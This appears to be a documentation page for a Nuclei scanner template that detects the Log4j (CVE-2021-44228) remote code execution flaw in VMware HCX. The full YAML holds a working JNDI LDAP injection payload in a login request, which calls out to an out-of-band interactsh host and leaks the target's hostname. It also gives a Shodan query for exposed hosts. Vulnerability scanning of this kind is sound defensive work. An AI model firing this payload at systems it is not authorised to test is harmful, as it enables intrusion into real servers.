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VMware HCX - Remote Code Execution (Apache Log4j)

ID: vmware-hcx-log4j

Severity: critical

Author: pussycat0x,DhiyaneshDK

Tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast

Description

Section titled “Description”

VMware HCX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

YAML Source

Section titled “YAML Source”
id: vmware-hcx-log4j


info:
  name: VMware HCX - Remote Code Execution (Apache Log4j)
  author: pussycat0x,DhiyaneshDK
  severity: critical
  description: VMware HCX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://logging.apache.org/log4j/2.x/security.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"VMware HCX"
  tags: cve,cve2021,rce,jndi,log4j,vmware,kev,oast
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        @timeout: 10s
        POST /hybridity/api/sessions HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Content-Type: application/json
        Origin: {{BaseURL}}


        {
          "authType": "password",
          "username": "${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}",
          "password": "admin"
        }


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 490a0046304402206d8c65c5af5bc63309ceeab54b89196bd24d5210cd95023de77e953a7c2dc4c902200aa04b3cec163ef7bfb4a9128bcfd4e0dde17e0b95d9e45d094c8961f6fc0f25:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vmware-hcx-log4j.yaml"

View on Github